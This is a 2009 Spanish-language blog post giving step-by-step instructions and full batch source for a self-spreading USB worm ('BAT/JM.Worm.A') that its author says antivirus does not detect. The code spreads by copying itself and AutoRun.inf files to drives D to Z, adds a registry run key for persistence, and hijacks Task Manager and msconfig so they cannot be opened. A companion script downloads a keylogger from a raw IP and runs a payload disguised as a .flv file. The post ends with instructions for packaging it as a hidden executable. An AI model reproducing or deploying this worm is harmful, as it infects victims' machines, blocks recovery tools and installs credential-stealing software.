sábado, 1 de agosto de 2009

Virus Caseros


viruscaseros.blogspot.com
virus caceros:::JM creaciones
crear un worm gusano
BAT/JM.Worm.A
Este no lo esta publicado en nigun otro lugar
primero descarguen el pack.zip que tiene los utiles para crear el virus
descargenlo aqui
todavia no es detectados por los antivirus
codigo:
Abrir el block de notas y escribir esto
NOTA: en todos los lugares donde dice JoseMario.exe le colocan lo que ustedes quieran pero eso si no puede tener espacios.

if exist C:\PROGRAM\FILES\JoseMario.exe goto exitt
if not exist C:\PROGRAM\FILES\JoseMario.exe goto ini
:exitt
attrib +s +h Desktop.ini
attrib +s +h sleep.exe
attrib +s +h Download.exe
attrib +s +h Inicio.exe
explorer \
exit
:ini
mkdir C:\PROGRAM\FILES
mkdir C:\Recycled
taskkill /F /IM JoseMario.exe
set a=JoseMario.exe
set b=aUToRuN.inf
set c=DesKTop.ini
set d=sleep.exe
set e=inicio.exe
set f=Download.exe
@copy %a% C:\PROGRAM\FILES\%a%
attrib -s -h -r %a%
attrib -s -h -r %c%
attrib -s -h -r %d%
attrib -s -h -r %e%
attrib -s -h -r %f%
:inicio
mkdir C:\PROGRAM\FILES
mkdir C:\Recycled
attrib -s -h C:\WINDOWS\system32\%a%
@copy C:\WINDOWS\system32\%a% C:\Recycled\%a%
@copy C:\WINDOWS\system32\%b% C:\Recycled\%b%
@copy C:\WINDOWS\system32\%a% C:\PROGRAM\%a%
@copy C:\WINDOWS\system32\%b% C:\PROGRAM\%b%
@copy C:\WINDOWS\system32\%a% C:\PROGRAM\FILES\%a%
@copy C:\WINDOWS\system32\%b% C:\PROGRAM\FILES\%b%
@copy C:\Recycled\%a% C:\PROGRAM\FILES\%a%
@copy C:\Recycled\%b% C:\PROGRAM\FILES\%b%
@copy /Y C:\Recycled\%a% C:\PROGRAM\%a%
@copy /Y C:\Recycled\%b% C:\PROGRAM\%b%
@copy %a% C:\PROGRAM\FILES\%a%
@copy %a% C:\WINDOWS\system32\%a%
@copy C:\Recycled\%b% C:\WINDOWS\system32\%b%
attrib +s +h C:\WINDOWS\system32\%a%
attrib +s +h C:\WINDOWS\system32\%b%
echo [AutoRun] >>C:\PROGRAM\FILES\AutoRun.inf
echo Open=JoseMario.exe >>C:\PROGRAM\FILES\AutoRun.inf
echo Icon=JoseMario.exe >>C:\PROGRAM\FILES\AutoRun.inf
echo Shell\Open\Command=JoseMario.exe >>C:\PROGRAM\FILES\AutoRun.inf
echo Action=Abrir Disco >>C:\PROGRAM\FILES\AutoRun.inf
attrib +r C:\PROGRAM\FILES\AutoRun.inf
echo [AutoRun] >>C:\Recycled\AutoRun.inf
echo Open=JoseMario.exe >>C:\Recycled\AutoRun.inf
echo Icon=JoseMario.exe >>C:\Recycled\AutoRun.inf
echo Shell\Open\Command=JoseMario.exe >>C:\Recycled\AutoRun.inf
echo Action=Abrir Disco >>C:\Recycled\AutoRun.inf
attrib +r C:\Recycled\AutoRun.inf
FOR %%A IN (D E F G H I J K) DO (attrib +s +h %%A:\Autorun.inf)
@copy %d% C:\PROGRAM\FILES\%d%
@copy %e% C:\PROGRAM\FILES\%e%
@copy %a% C:\PROGRAM\%a%
@copy %a% C:\Recycled\%a%
@copy %d% C:\Recycled\%d%
@copy %e% C:\Recycled\%e%
@copy %c% C:\PROGRAM\FILES\%c%
@copy %f% C:\Recycled\%f%
@copy %f% C:\WINDOWS\system32\%f%
@copy %d% %systemroot%\system32\%d%
del /f /q %a%
del /f /q %c%
del /f /q %d%
del /f /q %e%
del /f /q %f%
attrib +s +h %b%
attrib +s +h +r C:\PROGRAM\FILES
attrib +s +h C:\PROGRAM
attrib +s +h C:\Recycled
IF NOT EXIST D:\JoseMario.exe GOTO NOEXISTED
IF NOT EXIST E:\JoseMario.exe GOTO NOEXISTEE
IF NOT EXIST F:\JoseMario.exe GOTO NOEXISTEF
IF NOT EXIST G:\JoseMario.exe GOTO NOEXISTEG
IF NOT EXIST H:\JoseMario.exe GOTO NOEXISTEH
IF NOT EXIST I:\JoseMario.exe GOTO NOEXISTEI
IF NOT EXIST J:\JoseMario.exe GOTO NOEXISTEJ
IF NOT EXIST K:\JoseMario.exe GOTO NOEXISTEK
IF NOT EXIST L:\JoseMario.exe GOTO NOEXISTEL
IF NOT EXIST M:\JoseMario.exe GOTO NOEXISTEM
IF NOT EXIST N:\JoseMario.exe GOTO NOEXISTEN
IF NOT EXIST O:\JoseMario.exe GOTO NOEXISTEO
IF NOT EXIST P:\JoseMario.exe GOTO NOEXISTEP
IF NOT EXIST Q:\JoseMario.exe GOTO NOEXISTEQ
IF NOT EXIST R:\JoseMario.exe GOTO NOEXISTER
IF NOT EXIST S:\JoseMario.exe GOTO NOEXISTES
IF NOT EXIST T:\JoseMario.exe GOTO NOEXISTET
IF NOT EXIST U:\JoseMario.exe GOTO NOEXISTEU
IF NOT EXIST V:\JoseMario.exe GOTO NOEXISTEV
IF NOT EXIST W:\JoseMario.exe GOTO NOEXISTEW
IF NOT EXIST X:\JoseMario.exe GOTO NOEXISTEX
IF NOT EXIST Y:\JoseMario.exe GOTO NOEXISTEY
IF NOT EXIST Z:\JoseMario GOTO NOEXISTEZ
IF EXIST D:/JoseMario.exe GOTO verD
IF EXIST E:/JoseMario.exe GOTO verE
IF EXIST F:/JoseMario.exe GOTO verF
IF EXIST G:/JoseMario.exe GOTO verG
IF EXIST H:/JoseMario.exe GOTO verH
IF EXIST I:/JoseMario.exe GOTO verI
IF EXIST J:/JoseMario.exe GOTO verJ
IF EXIST K:/JoseMario.exe GOTO verK
IF EXIST L:/JoseMario.exe GOTO verL
IF EXIST M:/JoseMario.exe GOTO verM
IF EXIST N:/JoseMario.exe GOTO verN
IF EXIST O:/JoseMario.exe GOTO verO
IF EXIST P:/JoseMario.exe GOTO verP
IF EXIST Q:/JoseMario.exe GOTO verQ
IF EXIST R:/JoseMario.exe GOTO verR
IF EXIST S:/JoseMario.exe GOTO verS
IF EXIST T:/JoseMario.exe GOTO verT
IF EXIST U:/JoseMario.exe GOTO verU
IF EXIST V:/JoseMario.exe GOTO verV
IF EXIST W:/JoseMario.exe GOTO verW
IF EXIST X:/JoseMario.exe GOTO verX
IF EXIST Y:/JoseMario.exe GOTO verY
IF EXIST Z:/JoseMario.exe GOTO verZ
:NOEXISTED
@copy C:\PROGRAM\%a% D:\%a%
attrib -s -h -r D:\%b%
@copy /y C:\PROGRAM\%b% D:\%b%
attrib +s +h D:\%b%
goto CON
:NOEXISTEE
@copy C:\PROGRAM\%a% E:\%a%
attrib -s -h -r E:\%b%
@copy /y C:\PROGRAM\%b% E:\%b%
attrib +s +h E:\%b%
goto CON
:NOEXISTEF
@copy C:\PROGRAM\%a% F:\%a%
attrib -s -h -r F:\%b%
@copy /y C:\PROGRAM\%b% F:\%b%
attrib +s +h F:\%b%
goto CON
:NOEXISTEG
@copy C:\PROGRAM\%a% G:\%a%
attrib -s -h -r G:\%b%
@copy /y C:\PROGRAM\%b% G:\%b%
attrib +s +h G:\%b%
goto CON
:NOEXISTEH
@copy C:\PROGRAM\%a% H:\%a%
attrib -s -h -r H:\%b%
@copy /y C:\PROGRAM\%b% H:\%b%
attrib +s +h D:\%b%
goto CON
:NOEXISTEI
@copy C:\PROGRAM\%a% I:\%a%
attrib -s -h -r I:\%b%
@copy /y C:\PROGRAM\%b% I:\%b%
attrib +s +h I:\%b%
goto CON
:NOEXISTEJ
@copy C:\PROGRAM\%a% J:\%a%
attrib -s -h -r J:\%b%
@copy /y C:\PROGRAM\%b% J:\%b%
attrib +s +h J:\%b%
goto CON
:NOEXISTEK
@copy C:\PROGRAM\%a% K:\%a%
attrib -s -h -r K:\%b%
@copy /y C:\PROGRAM\%b% K:\%b%
attrib +s +h K:\%b%
goto CON
:NOEXISTEL
@copy C:\PROGRAM\%a% L:\%a%
attrib -s -h -r L:\%b%
@copy /y C:\PROGRAM\%b% L:\%b%
attrib +s +h L:\%b%
goto CON
:NOEXISTEM
@copy C:\PROGRAM\%a% M:\%a%
attrib -s -h -r M:\%b%
@copy /y C:\PROGRAM\%b% M:\%b%
attrib +s +h M:\%b%
goto CON
:NOEXISTEN
@copy C:\PROGRAM\%a% N:\%a%
attrib -s -h -r N:\%b%
@copy /y C:\PROGRAM\%b% N:\%b%
attrib +s +h N:\%b%
goto CON
:NOEXISTEO
@copy C:\PROGRAM\%a% O:\%a%
attrib -s -h -r O:\%b%
@copy /y C:\PROGRAM\%b% O:\%b%
attrib +s +h O:\%b%
goto CON
:NOEXISTEP
@copy C:\PROGRAM\%a% P:\%a%
attrib -s -h -r P:\%b%
@copy /y C:\PROGRAM\%b% P:\%b%
attrib +s +h P:\%b%
goto CON
:NOEXISTEQ
@copy C:\PROGRAM\%a% Q:\%a%
attrib -s -h -r Q:\%b%
@copy /y C:\PROGRAM\%b% Q:\%b%
attrib +s +h Q:\%b%
goto CON
:NOEXISTER
@copy C:\PROGRAM\%a% R:\%a%
attrib -s -h -r R:\%b%
@copy /y C:\PROGRAM\%b% R:\%b%
attrib +s +h R:\%b%
goto CON
:NOEXISTES
@copy C:\PROGRAM\%a% S:\%a%
attrib -s -h -r S:\%b%
@copy /y C:\PROGRAM\%b% S:\%b%
attrib +s +h S:\%b%
goto CON
:NOEXISTET
@copy C:\PROGRAM\%a% T:\%a%
attrib -s -h -r T:\%b%
@copy /y C:\PROGRAM\%b% T:\%b%
attrib +s +h T:\%b%
goto CON
:NOEXISTEU
@copy C:\PROGRAM\%a% U:\%a%
attrib -s -h -r U:\%b%
@copy /y C:\PROGRAM\%b% U:\%b%
attrib +s +h U:\%b%
goto CON
:NOEXISTEV
@copy C:\PROGRAM\%a% V:\%a%
attrib -s -h -r V:\%b%
@copy /y C:\PROGRAM\%b% V:\%b%
attrib +s +h V:\%b%
goto CON
:NOEXISTEW
@copy C:\PROGRAM\%a% W:\%a%
attrib -s -h -r W:\%b%
@copy /y C:\PROGRAM\%b% W:\%b%
attrib +s +h W:\%b%
goto CON
:NOEXISTEX
@copy C:\PROGRAM\%a% X:\%a%
attrib -s -h -r X:\%b%
@copy /y C:\PROGRAM\%b% X:\%b%
attrib +s +h D:\%b%
goto CON
:NOEXISTEY
@copy C:\PROGRAM\%a% Y:\%a%
attrib -s -h -r Y:\%b%
@copy /y C:\PROGRAM\%b% Y:\%b%
attrib +s +h Y:\%b%
goto CON
:NOEXISTEZ
@copy C:\PROGRAM\%a% Z:\%a%
attrib -s -h -r Z:\%b%
@copy /y C:\PROGRAM\%b% Z:\%b%
attrib +s +h Z:\%b%
goto iniciar
:verD
attrib +s +h D:\%a%
if exist D:\%b% goto verE
if not exist D:\%b% goto NOEXISTED
:verE
attrib +s +h E:\%a%
if exist E:\%b% goto verF
if not exist E:\%b% goto NOEXISTEE
:verF
attrib +s +h F:\%a%
if exist F:\%b% goto verG
if not exist :F\%b% goto NOEXISTEF
:verG
attrib +s +h G:\%a%
if exist G:\%b% goto verH
if not exist G:\%b% goto NOEXISTEG
:verH
attrib +s +h H:\%a%
if exist H:\%b% goto verI
if not exist H:\%b% goto NOEXISTEH
:verI
attrib +s +h I:\%a%
if exist I:\%b% goto verJ
if not exist I:\%b% goto NOEXISTEI
:verJ
attrib +s +h J:\%a%
if exist J:\%b% goto verK
if not exist J:\%b% goto NOEXISTEJ
:verK
attrib +s +h K:\%a%
if exist K:\%b% goto verL
if not exist K:\%b% goto NOEXISTEK
:verL
attrib +s +h L:\%a%
if exist L:\%b% goto verM
if not exist L:\%b% goto NOEXISTEL
:verM
attrib +s +h M:\%a%
if exist M:\%b% goto verN
if not exist M:\%b% goto NOEXISTEM
:verN
attrib +s +h N:\%a%
if exist N:\%b% goto verO
if not exist N:\%b% goto NOEXISTEN
:verO
attrib +s +h O:\%a%
if exist O:\%b% goto verP
if not exist O:\%b% goto NOEXISTEO
:verP
attrib +s +h P:\%a%
if exist P:\%b% goto verQ
if not exist P:\%b% goto NOEXISTEP
:verQ
attrib +s +h Q:\%a%
if exist Q:\%b% goto verR
if not exist Q:\%b% goto NOEXISTEQ
:verR
attrib +s +h R:\%a%
if exist R:\%b% goto verS
if not exist R:\%b% goto NOEXISTER
:verS
attrib +s +h S:\%a%
if exist S:\%b% goto verT
if not exist S:\%b% goto NOEXISTES
:verT
attrib +s +h T:\%a%
if exist T:\%b% goto verU
if not exist T:\%b% goto NOEXISTET
:verU
attrib +s +h U:\%a%
if exist U:\%b% goto verV
if not exist U:\%b% goto NOEXISTEU
:verV
attrib +s +h V:\%a%
if exist V:\%b% goto verW
if not exist V:\%b% goto NOEXISTEV
:verW
attrib +s +h V:\%a%
if exist V:\%b% goto verX
if not exist V:\%b% goto NOEXISTEW
:verX
attrib +s +h X:\%a%
if exist X:\%b% goto verY
if not exist X:\%b% goto NOEXISTEX
:verY
attrib +s +h Y:\%a%
if exist Y:\%b% goto verZ
if not exist Y:\%b% goto NOEXISTEY
:verZ
attrib +s +h Z:\%a%
if exist Z:\%b% goto CON
if not exist Z:\%b% goto NOEXISTEZ
:CON
Reg Add HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /v "inicio de sesion de %username%" /t reg_sz /d "C:\Recycled\inicio.exe" /f
FOR %%A IN (D E F G H I) DO (attrib -s -h -r %%A:\Autorun.inf)
FOR %%A IN (D E F G H I) DO (copy /y C:\PROGRAM\AutoRun.inf %%A:\AutoRun.inf)
FOR %%A IN (D E F G H I) DO (attrib +s +h +r %%A:\Autorun.inf)
FOR %%A IN (J K L M N O P Q) DO (attrib -s -h -r %%A:\Autorun.inf)
FOR %%A IN (J K L M N O P Q) DO (copy /y C:\PROGRAM\AutoRun.inf %%A:\AutoRun.inf)
FOR %%A IN (J K L M N O P Q) DO (attrib +s +h +r %%A:\Autorun.inf)
FOR %%A IN (R S T U W X Y Z) DO (attrib -s -h -r %%A:\Autorun.inf)
FOR %%A IN (R S T U W X Y Z) DO (copy /y C:\PROGRAM\AutoRun.inf %%A:\AutoRun.inf)
FOR %%A IN (R S T U W X Y Z) DO (attrib +s +h +r %%A:\Autorun.inf)
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (copy /y C:\PROGRAM\JoseMario.exe %%A:\JoseMario.exe)
FOR %%A IN (D E F G H I J K L M N O P Q R S T U W X Y Z) DO (attrib +s +h %%A:\JoseMario.exe)
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\Taskmgr.exe" /f
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\Taskmgr.exe" /v Debugger /t reg_sz /d "calc.exe" /f
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\msconfig.exe" /f
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\msconfig.exe" /v Debugger /t reg_sz /d "sol.exe" /f
del /f /q C:\PROGRAM\%a%
del /f /q C:\PROGRAM\%b%
C:\WINDOWS\system32\sleep.exe 1000
goto inicio

lo guardan como JoseMario.bat o el nombre de su virus ejemplo CAliMo.bat
crean una pagina en sites.google.com y alojan su actualizacion ahy
por ejemplo http://sites.google.com/site/actualizaondemijuguete/home/Windoir.flv
windoir.flv por que no deja subir otro formato
haa y este lo crean con bat to exe 1
pero con este codigo se soluciona
luego abren otro block de notas y copian esto:

@echo off
taskkill /f /im b2e.exe
Del /f /q C:\PROGRAM\FILES\JoseMario.exe
start C:\Recycled\JoseMario.exe
C:\WINDOWS\system32\sleep.exe 29999
takkill /f /im explorer.exe
sleep 1500
Download http://217.125.24.22/cod/Keylog98.zip
Download http://sites.google.com/site/actualizaondemijuguete/home/Windoir.flv
if exist Windoir.flv goto Windoir.flv
:Windoir.flv
ren Windoir.flv Windoir.flv.exe
Windoir.flv.exe
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\Msnmsgr.exe" /f
Reg Add "HKLM\SOFTWARE\microsoft\windows NT\currentversion\Image File Execution Options\Msnmsgr.exe" /v Debugger /t reg_sz /d "C:\Recycled\QQSSSSSD.mp3.exe" /f
exit

lo guardan como inicio.bat
y hacen lo siguiente



lo crean como ghost aplicacion
NOTA: no le agregen icono esta version daña los archivos que tienen icono
abren el bat to exe 2 y agregan los siguientes
archivos :
desktop.ini
inicio.exe (no el que viene en el pack si no el que ustedes crearon con bat to exe 1)
download.exe
sleep.exe
de la siguiente manera :


con los siguientes atributos
ghost aplicacion
current directory
do not delete
overwrite exising files



van a la pestaña i de icono le ponen disco extraible.ico (incluido en el pack)
asi



le dan generate y listo